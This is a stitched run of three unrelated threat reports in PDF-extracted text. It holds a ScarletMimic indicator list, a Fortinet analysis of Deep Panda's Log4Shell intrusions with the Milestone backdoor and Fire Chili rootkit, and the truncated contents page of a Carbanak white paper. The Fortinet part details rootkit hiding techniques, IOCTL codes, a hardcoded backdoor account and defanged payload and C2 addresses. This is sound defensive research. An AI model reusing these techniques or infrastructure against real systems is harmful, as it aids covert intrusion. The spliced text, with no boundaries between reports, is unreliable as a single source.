https://targetedthreats.net/media/2.220Extended20Analysis-Cluster.pdf https://securelist.com/blog/incidents/35552/android-trojan-found-in-targeted-attack-58/ https://blog.cylance.com/puttering-into-the-future https://www.paloaltonetworks.com/products/technologies/wildfire.html http://cyberthreatalliance.org/ https://www.paloaltonetworks.com/products/platforms/subscriptions/autofocus.html 08/02/2016 ScarletMimic:YearsLongEspionageCampaignTargetsMinorityActivistsPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/01/scarletmimicyearslongespionagetargetsminorityactivists/ 24/28 ScarletMimicIndicatorData FakeMCustomSSLSamples 12dedcdda853da9846014186e6b4a5d6a82ba0cf61d7fa4cbe444a010f682b5d 33e50c44804d4838dba6627b08210029ff9106fa7fd16cd7255271e153f58b05 3d9bd26f5bd5401efa17690357f40054a3d7b438ce8c91367dbf469f0d9bd520 5182dc8667432d76a276dc4f864cdfcef3e481783ebaf46d3b1397080b798f4a 523ad50b498bfb5ab688d9b1958c8058f905b634befc65e96f9f947e40893e5b 5dade00db195087aa336ce190b5fd1c22992c49556c623b42a9f742d73241a7f 7156f6416e7116e52f9c67f4e716b1dbea17387e61009c7f2825debbbb4dcb73 79aca57905cca1e56b0cedf48a4d81812639c333ee6532d90a074d64b3852d6f 879edf0417c4a9759040b51bf83b2fc918a6644a7c29a52252003a63036aea5c 9b77bbb620f50632fae17c40c7469fc93ffdbc4136a6d893a9a10a44bc435da5 a1b7fe2acdb7a5b0c52b7c1960cfad531a7ca85b602fc90044c57a2b2531699f a268cc4931781d1d8094a4f8f596c2de3d662f2581c735b0810ff0ecefe3f859 a4abbcfdbf4a6c52349a843eac0396e6d8abb05f1324223980d824629a42ef7a a569f3b02a4be99e0b4a9f1cff43115da803f0660dd4df114b624316f3f63dc6 b4c1e9c99f861a4dd7654dcc3548ab5ddc15ee5feb9690b9f716c4849714b20d bbdedcfe789641e7f244700e8c028ef51094b66508f503876eb0d6aa16df6aa8 c7b9e6b5ab07e6da404af9894c8422d9a0c9586334ddc0a3c1ea6bf23ef97fb2 caeace73a17e220634525d2a4117525fd60cb86a06873c86571e89d156f8d72d caf76e19a2681dd000c96d8389afc749e774c083aef09f023d4f42fbc49d4d3d e96097826179a66cc3061be0f99f7b55cc9692a6378b5c4364699327823098ab f511b13341c9fb4ec9ecfcfe5a5813b964c362d7c709c402ead4e010d857bf6c fa08a498da0b31e77669d51a28dff166d84983fa6af693063c08f312fdce93e3 df9872d1dc1dbb101bf83c7e7d689d2d6df09966481a365f92cd451ef55f047d FakeMSSLSamples 0aab09bf0db30a4be28d19475082fd5e7f75879bf9029fdd8dfc3a1e1f072b0c 2e1472a65a8df43c8bc9b0aff954fbc1a093c4214f6a718a08e1321db83ca683 3209ab95ca7ee7d8c0140f95bdb61a37d69810a7a23d90d63ecc69cc8c51db90 41948c73b776b673f954f497e09cc469d55f27e7b6e19acb41b77f7e64c50a33 4a4dfffae6fc8be77ac9b2c67da547f0d57ffae59e0687a356f5105fdddc88a3 5154511a439bb367b7dd56232eb15281cb6dc4d64ea3a06e7fbbe6b176e385d4 5fae5750797ebe7e7a6a6919a7d66deffb141ec28737bd72a1f7da8edd330b60 aa8a302a53bd39b2d2a6e3d8497575e2a5f9757b248e34c8e0821ce9eee5cc32 b3c9bb22fa1bc358dc23a1a4bdaf85ad1add4d812b107b7ab887affbf689933a cd506679fd32dab16dee6fbf1cfdfe0836e092a4f5669418a199d99c9cd33abd d1dd4469c7b5c462e5ff2dcef5d22775250e9ebf395f65da624f18ea7144e173 d698008e417da867d02e2f5cdcc80ff92af753dd585fada42fc611c2d7332c3a 08/02/2016 ScarletMimic:YearsLongEspionageCampaignTargetsMinorityActivistsPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/01/scarletmimicyearslongespionagetargetsminorityactivists/ 25/28 FakeMOriginalSamples 53af257a42a8f182e97dcbb8d22227c27d654bea756d7f34a80cc7982b70aa60 9adda3d95535c6cf83a1ba08fe83f718f5c722e06d0caff8eab4a564185971c5 53cecc0d0f6924eacd23c49d0d95a6381834360fbbe2356778feb8dd396d723e 631fc66e57acd52284aba2608e6f31ba19e2807367e33d8704f572f6af6bd9c3 7bfbf49aa71b8235a16792ef721b7e4195df11cb75371f651595b37690d108c8 7c9421a4605decfa1b3e22addbca98d86ea757dcd8ff8e075d13228c99618637 202975d10ba417cf441e8f9986d2496807fe39e057d3226ec3b2713f0c218cd8 22e7517d8996e92998eb996416f9d8ef06b3b1c220c1a5d29ccd5aaef7b10c72 435df30d139ccbe5ce4e5ca6fe072e42e96d5ea1efd5317deebce462ecccc7ab 47d9ba5f7bf70c5d2b7a832e070957cc7ebdcfd0a6ee75851df16dc45971ce8a 4a3d0df9fa198a7ebe45db5239d22067e74924b1aace52029b3acc9b51af691e 4d539f638ed476ca08da838cdfbf710dae82b582256d60a009e9d304f6822e65 be0e8da7e261ec7d08eaa78e79ceb1be47c324b8e142097bf6569f9471c98a4e c30d03750458bb5f2b03d6bd399ffca6d378a3adb5a74bee3b6ba4b982dbf273 cc7db456825e266849090b6fa95a94ad8c4c717712b610b0d39077af5222f4be d6d2a77f8ed2fe9fed9ee6dcb4cc0b339ba47a575c717c35815243c752d8f60c db8338e6b883fdceaa02c10ad683547a26ae32e0d4641cc24c7bd3b45154abb0 e8e5ecf525c5259651bfbdf1923215729ec67658225eca1b02519f5f6279eacb ec4deb761b09ddc706804ef669836cf4b199f1d74b14ad623a6f6cc2f38190b8 669ce0975c133d54e414dbf1de546aed742e76fe3e60568e2bd4747b7e0f8b70 0d77f5f1d4c0f02fb88ac33fa365b17d28d1521cea59329ca4b3dd0b7031a60e 363d9557861fab2d83d04847b967996361e670e571b335c7a535bc6278cba149 7fb2c37431fd7b05414b134732ba0b29cd7dad17fc176627ee0815aac60c1ab9 77e4ef9e08f1095487b4fa27492b4c9b8e833f29598f99a0d10f7c85b4254761 a4ffca5f1c3d9c21629fa98a1e91121d954ab9347e86ac3c9613dae61bf30393 428121c421bf81a0d689014cf21ec7951b0c32add86198e06f7d636981f68755 a195f564aa2fb66db119e2fbec93e319a973e5cf50fbf9fc08bd81f9b7ee8af8 c1e8ff8ebe3754bc7d14509ef3678edf7551d876d3fa847d07d469c09bceae91 53238f67ac7e4cc27264efbacc8712bd97a5775feaf633c63adaa0785d038e8a 508a7cab0f2a69ba66e92e86817a49ecd1b9c8ae11a995147944995fc868dfad fb60d14de4dba022f11437845d465a661d0c78d3d097a38770816f06992bf0af 8da2f9afd914a4318a97f4d74809c0c383f8ebf0d3d6e3d3715efbd71a66a52f 6fe33c672fd30bba9bbc89dc7d88993d8783382c9f9c510677b1bb068a5f1e51 6a1c7999b4ba92899d3364fc729d0f052680be5a71dd0f13cbabdb19b82bf858 5db51f2f7c31de7d165ec4892ae7dcedaa036caedeef718b57953d7935582f04 27167a9d63f5ddc68a12decb1a1e0a2a29c72fe0681dca2c4f3d169f048a9d38 6f10c892133b5dac6c40cfe77ca32b42572bc56909481b236080dfc143ef9afd de12cd8d11478d17342c60239837c1afcc9fee72df6ffdf9943802640d43f77a 0f2db64b8283b76d49c9bb272beafab8323f941b6dc3888b42ff02f08634d016 PsyloSamples 08/02/2016 ScarletMimic:YearsLongEspionageCampaignTargetsMinorityActivistsPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/01/scarletmimicyearslongespionagetargetsminorityactivists/ 26/28 19bbee954ac1a21595e63cb86d1a596236aed353804aec5cb8adfa62e70280d3 a9f0bddc3d3516af8355e8ac17309528cd018347e5f56a347c14da0a83b0028a 00bb399c429e0f1f7de751103fe92b5f820d1686d01662a08583b7a94aaed94e MobileOrderSample 03004ccc23033a09532bea7dfa08c8dfa85814a15f5e3aedb924a028bcd6f908 CallMeSamples 071c34b9701dd84f9590ba899a8af3eeec228a928f2d98a80dbc780e396ee01a d1f0658bbb15ab2bccc210d7e1f21b96e14ae22de8494ca95b12e182f3d0f693 9ff687a813a5cb5ff10374c86f852534c1aa3e5a221123214bf52b2ff455a5da 8c423506c0c7ebe1e61071374ecf0806463a02a2100b5daa1bd942129ff8a235 91e36e720477146f1a0c050d3bc74bc6683a03e7631317ded3c598a10465dcc8 c981db20d588ba2d0f437b4e5459e7c6763f52a97841450c94591ca28a9a2d69 95dba004f949e44cb447246f3d2420b01db4541d0e4fa7b00d798f38a3d251e4 FakeMCustomSSLC2Servers aaa123.spdns[.
]de admin.spdns[.
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]com 08/02/2016 ScarletMimic:YearsLongEspionageCampaignTargetsMinorityActivistsPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/01/scarletmimicyearslongespionagetargetsminorityactivists/ 27/28 dolet.websurprisemail[.
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]info press.ufoneconference[.
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]info FakeMOriginalC2Servers 207.204.225[.
]117 accounts.yourturbe[.
]org addnow.zapto[.
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]net clean.popqueen.cloudns[.
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]eu eemete.freetcp[.
]com email.googmail[.
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]org news.googmail[.
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]cc 08/02/2016 ScarletMimic:YearsLongEspionageCampaignTargetsMinorityActivistsPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/01/scarletmimicyearslongespionagetargetsminorityactivists/ 28/28 yycc.mrbonus[.
]com zjhao.dtdns[.
]net PsyloC2Servers apple.lenovositegroup[.
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]org
1/16 March 30, 2022 New Milestones for Deep Panda: Log4Shell and Digitally Signed Fire Chili Rootkits fortinet.com/blog/threat-research/deep-panda-log4shell-fire-chili-rootkits FortiGuard Labs Research Affected Platforms: Windows Impacted Users: Windows Users Impact: Collects sensitive information from victim machines Severity Level: Critical During the past month, FortiEDR detected a campaign by Deep Panda, a Chinese APT group.
The group exploited the infamous Log4Shell vulnerability in VMware Horizon servers.
The nature of targeting was opportunistic insofar that multiple infections in several countries and various sectors occurred on the same dates.
The victims belong to the financial, academic, cosmetics, and travel industries.
Following exploitation, Deep Panda deployed a backdoor on the infected machines.
Following forensic leads from the backdoor led us to discover a novel kernel rootkit signed with a stolen digital certificate.
We found that the same certificate was also used by another Chinese APT group, named Winnti, to sign some of their tools.
In this blog, we share our analysis of the flow of infection, the backdoor, and new rootkit, along with our attribution of this campaign to these Chinese nation-state threat actors.
Chain of Attack While examining customer alerts and telemetry, we noticed several infiltrations into victim networks that were achieved via a Log4Shell exploitation of vulnerable VMware Horizon servers.
These attacks spawned a new PowerShell process to download and execute a chain of scripts that ended with the installation of a malicious DLL.
https://www.fortinet.com/blog/threat-research/deep-panda-log4shell-fire-chili-rootkits https://www.fortinet.com/fortiguard/labs.html?utm_sourceblogutm_mediumcampaignutm_campaignFortiGuardLabs https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2021-44228 2/16 Figure 1: Flow of events from Log4Shell exploitation to execution of the final payload The encoded PowerShell command downloads another PowerShell script from a remote server and executes it.
Figure 2: The decoded PowerShell command The next stage PowerShell script downloads three additional files from the same server: 1.bat, syn.exe and 1.dll.
3/16 Figure 3: Content of the p.txt PowerShell script downloaded from the server The script then executes 1.bat, which in turn executes syn.exe and proceeds to delete all three files from the disk.
Figure 4: Content of 1.bat script downloaded from the server syn.exe is a program that loads its first command-line argument using LoadLibrary, in this case, 1.dll.
The 1.dll module is the final payload, a backdoor that we have dubbed Milestone.
Its code is based on the leaked source code of Gh0st RAT/Netbot Attacker and is packed with Themida.
The backdoor copies itself to APPDATA\newdev.dll and creates a service named msupdate2 by creating the service entry directly in the registry.
Several other service names and descriptions have been observed among different samples.
Figure 5: msupdate2 service registered by Milestone While it has the same name as the legitimate Microsoft newdev.dll, it has only two of the real newdev.dlls exports plus an additional ServiceMain export.
Figure 6: Exports of the malicious Milestone https://github.com/sin5678/gh0st 4/16 Overall, the backdoor has capabilities similar to Gh0st RATs, with notable differences.
Its C2 communication is uncompressed, unlike Gh0st RAT communication which is zlib-compressed.
There are differences in commands as well.
For example, in the CMD command, some variants first copy cmd.exe to dllhost.exe to avoid detection by security products that monitor CMD executions.
Additionally, the backdoor supports a command that sends information about the current sessions on the system to the server.
This command does not exist in the original Gh0st RAT source code.
Among the many backdoor samples we hunted down, there are two distinguishable versions: binaries compiled in 2016 contain the version string MileStone2016, while those compiled in 2017 contain MileStone2017.
The samples used in the recent infections we detected are only the 2017 variants.
There are several differences between the 2016 and 2017 Milestones.
First, 2017 Milestones are typically packed with Themida, while 2016 ones are unpacked.
Secondly, although 2016 Milestones have plausible timestamps, all 2017 Milestones share an identical timestamp, which leads us to believe they are forged.
Combined with the fact that 2017 backdoors are used in attacks to this day, it is uncertain whether they were compiled in 2017 or much later.
The two versions also slightly differ in commands and communication.
2016 Milestones apply XOR encryption to their communication, as well as support a command to execute as a new user with administrator privileges.
To do so, the backdoor first creates a new administrator user on the system, with the username ANONYMOUS and the password MileSt0ne216.
It then executes another instance of itself as that user with CreateProcessAsUser and proceeds to remove the user from the system immediately thereafter.
A Stones Throw Away In addition to the backdoors, we obtained a third type of sample  a dropper.
It writes three files to the disk: Benign executable  APPDATA\syn.exe Milestone loader  APPDATA\newdev.dll Driver  C:\Windows\system32\drivers\crtsys.sys The payloads above are stored XOR-encrypted and LZMA-compressed.
The XOR key is a hardcoded DWORD that changes between samples.
The dropper carries two builds of the driver for 32-bit and 64-bit systems.
Using the Service Control Manager (SCM) API, it installs the build compliant with the operating system architecture as a driver named FSFilter-Min.
The dropper patches the .data section of the loader binary to add its configuration before it writes it to disk.
Next, the dropper executes syn.exe, a benign executable signed by Synaptics, in order to side-load the newdev.dll loader module.
The loader also contains a XOR-encrypted and LZMA-compressed payload, which is a Milestone backdoor.
It decrypts the configuration with XOR 0xCC         and, like the dropper, patches the backdoors .data section with it.
The configuration contains the backdoors version, C2 server address and service parameters.
Finally, the loader reflectively loads the Milestone backdoor and calls its exports.
5/16 Figure 7: Example of a decrypted configuration Fire Chili Rootkit As part of our research, we have collected four driver samples  two pairs of 32-bit and 64-bit samples.
One pair was compiled in early August 2017 and the second pair was compiled ten days later.
All four driver samples are digitally signed with stolen certificates from game development companies, either the US-based Frostburn Studios or the Korean 433CCR Company (433 ).
The signatures made with Frostburn Studios certificate are even timestamped.
Figure 8: Digital signature of a crtsys.sys driver Two of the samples are on VirusTotal and have a very low detection rate.
6/16 IOCTL Action Description 0xF3060000 Hide file Add a path to global file list 0xF3060004 Stop hiding file Remove a path from global file list 0xF3060008 Hide\protect process Add a file path or PID to global process list 0xF306000C Stop hiding\protecting process Remove a file path or PID from global process list Figure 9: Detection rates of the rootkit samples from VirusTotal The rootkit starts by ensuring the victim machine is not running in safe mode.
It then checks the operating system version.
The rootkit uses Direct Kernel Object Modification (DKOM), which involves undocumented kernel structures and objects, for its operations.
For this reason, it relies on specific OS builds as otherwise it may cause the infected machine to crash.
In general, the latest supported build is Windows 10 Creators Update (Redstone 2), released in April 2017.
The purpose of the driver is to hide and protect malicious artifacts from user-mode components.
This includes four aspects: files, processes, registry keys and network connections.
The driver has four global lists, one for each aspect, that contain the artifacts to hide.
The drivers IOCTLs allow dynamic configuration of the lists through its control device \Device\crtsys.
As such, the dropper uses these IOCTLs to hide the drivers registry key, the loader and backdoor files, and the loader process.
7/16 0xF3060010 Hide registry key Add a key to global registry list 0xF3060014 Stop hiding registry key Remove a key from global registry list 0xF3060018 Hide network connections Add a file path or port number to global network list 0xF306001C Stop hiding network connections Remove a file path or port number from global network list Files The rootkit implements a filesystem minifilter using code based on Microsofts official driver code samples.
Prior to registering the minifilter instance, it dynamically creates an instance in the registry named Sfdev32TopInstance with altitude 483601.
The rootkit sets only one callback for a postoperation routine for IRP_MJ_DIRECTORY_CONTROL.
When it receives an IRP with a minor function of IRP_MN_QUERY_DIRECTORY and a filename from the global file list, the callback changes the filename to .
and the filename length to 0 (in the FILE_BOTH_DIR_INFORMATION structure).
The global file list is initialized with the path of the driver by default (\SYSTEM32\DRIVERS\CRTSYS.SYS).
Processes There are two mechanisms pertaining to processes: Preventing process termination.
Hiding a process.
To prevent the termination of a process, the rootkit denies the PROCESS_TERMINATE access right of the processes it protects.
Using ObRegisterCallbacks, it registers a preoperation callback routine that triggers whenever a handle to a process or thread is created or duplicated in the system.
When the handle access originates from user-mode and the image path or PID of the handle target are in the global process list, the driver removes the PROCESS_TERMINATE permission from the DesiredAccess parameter.
This results in restricting user-mode processes from acquiring the permissions needed to terminate the threat actors malicious processes using standard APIs.
8/16 Figure 10: Unsetting the PROCESS_TERMINATE bit of DesiredAccess To hide a process, the rootkit monitors all newly created processes on the system by registering a callback using the PsSetCreateProcessNotifyRoutine API.
Whenever a new process is created on the system, the rootkit checks if its path is in the global process list.
If so, the process is removed from the ActiveProcessLinks list of the EPROCESS structure, which is a circular doubly-linked list of all running processes on the system.
The driver removes the processs list entry from ActiveProcessLinks        by linking its Flink (the next entry) to its Blink (the previous entry).
As a result, the process is hidden from utilities such as Task Manager.
Figure 11: Removing a process from ActiveProcessLinks Since the EPROCESS structure changes between Windows builds, the rootkit resolves the ActiveProcessLinks offset dynamically during runtime.
It traverses the processs EPROCESS        structure, comparing each member to its PID, to locate the offset of the UniqueProcessId field.
When found, the 9/16 ActiveProcessLinks offset is also easily located as it is the next field in the EPROCESS structure.
The older rootkit samples use the hiding mechanism on Windows 8 and below, while the newer samples use it on only Windows 7 and below.
By default, the global process list is initialized with the path \qwerty.exe.
However, we have not observed any file with this name related to the campaign.
Registry Keys The rootkit hides registry keys from users using Microsofts Registry Editor.
The code is based on an open-source project published by a Chinese developer.
The HHIVE-GetCellRoutine functions of keys in the global registry keys list are replaced with a filter function.
When the path of the querying process is \WINDOWS\REGEDIT.EXE, the function simply returns 0 in place of the key node.
By default, the global registry list is initialized with the rootkits registry key (\REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\SERVICES\CRTSYS).
Network Connections The rootkit is capable of hiding TCP connections from tools such as netstat.
Much of the code for this part seems to be copied from an open-source project.
The rootkit attaches to nsiproxy.syss device stack and intercepts IOCTLs of type IOCTL_NSI_GETALLPARAM (0x12000B) that are sent to it.
This IOCTL is used to retrieve information about the active network connections on the system.
When it is intercepted, the driver replaces the IoCompletion routine with a function that filters the results to hide its own network connections.
IOCTL_NSI_GETALLPARAM returns the information about network connections in an NSI_PARAM structure.
NSI_PARAM contains connection data such as IP, port, connection state, and process IDs of the executables in charge of creating the connection.
The filter function iterates this structure, searching for connections involving a process or port number from its global network list.
All identified connections are removed from the structure, rendering them hidden from the process that sent the IOCTL.
It is interesting to note that the newer build of the 64-bit rootkit added support to filter IOCTLs from 32-bit processes as well.
If attaching to nsiproxy.sys fails, the rootkit attaches to \Device\Tcp instead, intercepting IOCTL_TCP_QUERY_INFORMATION_EX (0x120003) and hiding network connections in a similar manner.
By default, the global network list is initialized with the following process paths: \SYN.EXE \SVCHOST.EXE As a result, TCP connections of all services running under svchost.exe are hidden, not just the ones of the Milestone backdoor.
Attribution https://github.com/geemion/Record/blob/master/HideReg.c https://github.com/bowlofstew/rootkit.com/blob/master/cardmagic/PortHidDemo_Vista.c 10/16 The Milestone backdoor is actually the same Infoadmin RAT that was used by Deep Panda back in the early 2010s, referenced in blogs from 2013 and 2015.
Although many backdoors are based on Gh0st RAT code, Milestone and Infoadmin are distinguishable from the rest.
Besides having profoundly similar code, both backdoors incorporate identical modifications of Gh0st RAT code not seen in other variants.
Both backdoors share a XOR encryption function for encrypting communication and have abandoned the zlib compression of the original Gh0st RAT.
Both also modified Gh0st RAT code in an identical way, specifically the CMD and screen capture functions.
Moreover, the backdoors share two commands that are not present in other Gh0st RAT variants: the session enumeration command and the command to execute as an administrative user.
Additional evidence indicates affiliation to Winnti.
The rootkits are digitally signed with certificates stolen from game development companies, which is a known characteristic of Winnti.
Searching for more files signed with one of the certificates led to a malicious DLL uploaded to VirusTotal with the name winmm.dll.
Further examination revealed it as the same tool referenced in a blog about Winnti that was published in 2013.
Yet another connection to Winnti is based on a C2 domain.
Two of the newdev.dll loaders are configured with the server gnisoft[.
]com, which was attributed to Winnti in 2020.
Conclusion In this blog, we have attributed a series of opportunistic Log4Shell infections from the past month to Deep Panda.
Though previous technical publications on Deep Panda were published more than half a decade ago, this blog also relates to a more recent report about the Milestone backdoor, which shows that their operations have continued throughout all these years.
Furthermore, we introduced the previously unknown Fire Chili rootkit and two compromised digital signatures, one of which we also directly linked to Winnti.
Although both Deep Panda and Winnti are known to use rootkits as part of their toolset, Fire Chili is a novel strain with a unique code base different from the ones previously affiliated with the groups.
The reason these tools are linked to two different groups is unclear at this time.
Its possible that the groups developers shared resources, such as stolen certificates and C2 infrastructure, with each other.
This may explain why the samples were only signed several hours after being compiled.
Fortinet Solutions FortiEDR detects and blocks these threats out-of-the-box without any prior knowledge or special configuration.
It does this using its post-execution prevention engine to identify malicious activities: Figure 12: FortiEDR blocking communication for download  execute after Log4Shell exploitation https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2014/AdversaryIntelligenceReport_DeepPanda_02028129.pdf https://krebsonsecurity.com/wp-content/uploads/2015/02/FBI-Flash-Warning-Deep-Panda.pdf https://securelist.com/winnti-1-0-technical-analysis/37002/ https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/ https://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?menu_dist2seq29904 11/16 Figure 13: FortiEDR blocking the backdoor from communicating with the C2 post-infection All network IOCs have been added to the FortiGuard WebFiltering blocklist.
The FortiGuard Antivirus service engine is included in Fortinets FortiGate, FortiMail, FortiClient, and FortiEDR solutions.
FortiGuard Antivirus has coverage in place as follows: W32/Themida.
ICDtr BAT/Agent.6057tr W64/Agent.
A10Btr W32/Agent.0B37tr W32/GenKryptik.
FQLTtr W32/Generic.
AC.F834Btr W32/GenKryptik.
ATCYtr W32/Generic.
AP.33C2D2tr W32/GenKryptik.
AQZZtr W32/Generic.
HCRGEJTtr W32/Agent.
DKRtr W32/Agent.
QNPtr W32/Agent.
RXTtr W32/Agentb.
BXIQtr W32/Agent.
DA3Etr W32/Agent.
D584tr W32/Agent.0F09tr W32/Agent.3385tr W64/Agent.
D87Btr.rkit W32/Agent.69C1tr.rkit In addition, as part of our membership in the Cyber Threat Alliance, details of this threat were shared in real-time with other Alliance members to help create better protections for customers.
Appendix A: MITRE ATTCK Techniques ID Description T1190 Exploit Public-Facing Application T1569.002 System Services: Service Execution T1059.001 Command and Scripting Interpreter: PowerShell 12/16 T1027 Obfuscated Files or Information: Software Packing T1041 Exfiltration Over C2 Channel T1082 System Information Discovery T1036 Masquerading T1083 File and Directory Discovery T1059.003 Command and Scripting Interpreter: Windows Command Shell T1592 Gather Victim Host Information T1588.003 Obtain Capabilities: Code Signing Certificates T1014 Rootkit T1574.002 Hijack Execution Flow: DLL Side-Loading T1620 Reflective Code Loading T1113 Screen Capture Appendix B: IOCs IOC Type Details ece45c25d47ba362d542cd0427775e68396bbbd72fef39823826690b82216c69 SHA256 Backdoor 517c1baf108461c975e988f3e89d4e95a92a40bd1268cdac385951af791947ba SHA256 Backdoor a573a413cbb1694d985376788d42ab2b342e6ce94dd1599602b73f5cca695d8f SHA256 Backdoor 9eeec764e77bec58d366c2efc3817ed56371e4b308e94ad04a6d6307f2e12eda SHA256 Backdoor d005a8cf301819a46ecbb1d1e5db0bf87951808d141ada5e13ffc4b68155a112 SHA256 Backdoor 69c69d71a7e334f8ef9d47e7b32d701a0ecd22ce79e0c11dabbc837c9e0fedc2 SHA256 Backdoor 13/16 dfd2409f2b0f403e82252b48a84ff4d7bc3ebc1392226a9a067adc4791a26ee7 SHA256 Backdoor 07c87d036ab5dca9947c20b7eb7d15c9434bb9f125ac564986b33f6c9204ab47 SHA256 Backdoor c0a2a3708516a321ad2fd68400bef6a3b302af54d6533b5cce6c67b4e13b87d3 SHA256 Backdoor f8b581393849be5fc4cea22a9ab6849295d9230a429822ceb4b8ee12b1d24683 SHA256 Backdoor 14930488158df5fca4cba80b1089f41dc296e19bebf41e2ff6e5b32770ac0f1e SHA256 Backdoor a9fa8e8609872cdcea241e3aab726b02b124c82de4c77ad3c3722d7c6b93b9b5 SHA256 Backdoor e92d4e58dfae7c1aadeef42056d5e2e5002814ee3b9b5ab1a48229bf00f3ade6 SHA256 Backdoor 855449914f8ecd7371bf9e155f9a97969fee0655db5cf9418583e1d98f1adf14 SHA256 Backdoor a5fd7e68970e79f1a5514630928fde1ef9f2da197a12a57049dece9c7451ed7b SHA256 Backdoor f5eb8949e39c8d3d70ff654a004bc8388eb0dd13ccb9d9958fd25aee47c1d3ae SHA256 Backdoor 64255ff02e774588995b203d556c9fa9e2c22a978aec02ff7dea372983b47d38 SHA256 Backdoor b598cb6ba7c99dcf6040f7073fe313e648db9dd2f6e71cba89790cc45c8c9026 SHA256 Backdoor 2d252c51a29f86032421df82524c6161c7a63876c4dc20faffa47929ec8a9d60 SHA256 Backdoor 2de6fb71c1d5ba0cd8d321546c04eaddddbf4a00ce4ef6ca6b7974a2a734a147 SHA256 Backdoor bd5d730bd204abaddc8db55900f307ff62eaf71c0dc30cebad403f7ce2737b5c SHA256 Backdoor 412464b25bf136c3780aff5a5a67d9390a0d6a6f852aea0957263fc41e266c8b SHA256 Backdoor 0d096d983d013897dbe69f3dae54a5f2ada8090b886ab68b74aa18277de03052 SHA256 Backdoor cfba16fa9aa7fdc7b744b2832ef65558d8d9934171f0d6e902e7a423d800b50f SHA256 Backdoor a71b3f06bf87b40b1559fa1d5a8cc3eab4217f317858bce823dd36302412dabc SHA256 Backdoor 235044f58c801955ed496f8c84712fdb353fdd9b6fda91886262234bdb710614 SHA256 Backdoor 14/16 e1a51320c982179affb26f417fbbba7e259f819a2721ab9eb0f6d665b6ea1625 SHA256 Backdoor d1be98177f8ae2c64659396277e7d5c8b7dba662867697feb35282149e3f3cbb SHA256 Backdoor ab3470a45ec0185ca1f31291f69282c4a188a46e SHA1 Backdoor 10de515de5c970385cd946dfda334bc10a7b2d65 SHA1 Backdoor eb231f08cce1de3e0b10b69d597b865a7ebac4b3 SHA1 Backdoor 66c3dfcb2cc0dfb60e40115e08fc293276e915c2536de9ed6a374481279b852b SHA256 Loader 73640e8984ad5e5d9a1fd3eee39ccb4cc695c9e3f109b2479296d973a5a494b6 SHA256 Loader 7777bd2bdeff2fd34a745c350659ee24e330b01bcd2ee56d801d5fc2aceb858c SHA256 Loader 8bf4e301538805b98bdf09fb73e3e370276a252d132e712eae143ab58899763e SHA256 Loader 18b2e1c52d0245824a5bac2182de38efb3f82399b573063703c0a64252a5c949 SHA256 Loader d5c1a2ca8d544bedb0d1523db8eeb33f0b065966f451604ff4715f600994bc47 SHA256 ZIP 0939b68af0c8ee28ed66e2d4f7ee6352c06bda336ccc43775fb6be31541c6057 SHA256 BAT 0595a719e7ffa77f17ac254134dba2c3e47d8c9c3968cda69c59c6b021421645 SHA256 Dropper 7782fdc84772c6c5c505098707ced6a17e74311fd5c2e2622fbc629b4df1d798 SHA256 Dropper 18751e47648e0713345552d47752209cbae50fac07895fc7dd1363bbb089a10b SHA256 Driver 64- bit e4e4ff9ee61a1d42dbc1ddf9b87223393c5fbb5d3a3b849b4ea7a1ddf8acd87b SHA256 Driver 64- bit 395dbe0f7f90f0ad55e8fb894d19a7cc75305a3d7c159ac6a0929921726069c1 SHA256 Driver 32- bit befc197bceb3bd14f44d86ff41967f4e4c6412604ec67de481a5e226f8be0b37 SHA256 Driver 32- bit 15/16 1c617fd9dfc068454e94a778f2baec389f534ce0faf786c7e24db7e10093e4fb SHA256 Legitimate Synaptics Setup.exe bde7b9832a8b2ed6d33eb33dae7c5222581a0163c1672d348b0444b516690f09 SHA256 syn.exe 8b88fe32bd38c3415115592cc028ddaa66dbf3fe024352f9bd16aed60fd5da3e SHA256 syn.exe ba763935528bdb0cc6d998747a17ae92783e5e8451a16569bc053379b1263385 SHA256 syn.exe 9908cb217080085e3467f5cedeef26a10aaa13a1b0c6ce2825a0c4912811d584 SHA256 syn.exe c6bcde5e8185fa9317c17156405c9e2c1f1887d165f81e31e24976411af95722 SHA256 winmm.dll 3403923f1a151466a81c2c7a1fda617b7fbb43b1b8b0325e26e30ed06b6eb936 SHA256 Backdoor 9BCD82563C72E6F72ADFF76BD8C6940C6037516A Certificate thumbprint - 2A89C5FD0C23B8AF622F0E91939B486E9DB7FAEF Certificate thumbprint - 192.95.36[.
]61 Network - vpn2.smi1egate[.
]com Network - svn1.smi1egate[.
]com Network - giga.gnisoft[.
]com Network - giga.gnisoft[.
]com Network - 104.223.34[.
]198 Network - 103.224.80[.
]76 Network - hxxp://104.223.34[.
]198/111.php Network - hxxp://104.223.34[.
]198/1dll.php Network - hxxp://104.223.34[.
]198/syn.php Network - 16/16 hxxp://104.223.34[.
]198/p.txt Network - msupdate2 Service name - WebService Service name - alg Service name - msupdate Service name - msupdateday Service name - DigaTrack Service name - crtsys.sys File name - APPDATA\syn.exe File name - APPDATA\newdev.dll File name - Learn more about Fortinets FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio.
https://www.fortinet.com/fortiguard/labs?utm_sourceblogutm_campaignfortiguard-labs https://www.fortinet.com/fortiguard/labs?tabsecurity-bundlesutm_sourceblogutm_campaignsecurity-bundles
WHITE PAPER THE SHADOWS OF GHOSTS INSIDE THE RESPONSE OF A UNIQUE CARBANAK INTRUSION BY: JACK WESLEY RILEY PRINCIPAL INCIDENT RESPONSE CONSULTANT WHITE PAPER TABLE OF CONTENTS 1 GLOSSARY OF TERMS.......................................................................................... 1 2 REPORT SUMMARY.............................................................................................. 2 3 INTRUSION OVERVIEW....................................................................................... 7 3.1 ANATOMY OF ATTACK............................................................................................. 7 3.1.1 Phase 1: D0............................................................................................................ 8 3.1.2 Phase 2: D0............................................................................................................  8 3.1.3 Phase 3: D1 through D3................................................................................... 9 3.1.4 Phase 4: D3 through D25.............................................................................. 11 3.1.5 Phase 5: D25 through D30........................................................................... 12 3.1.6 Phase 6: D30 through 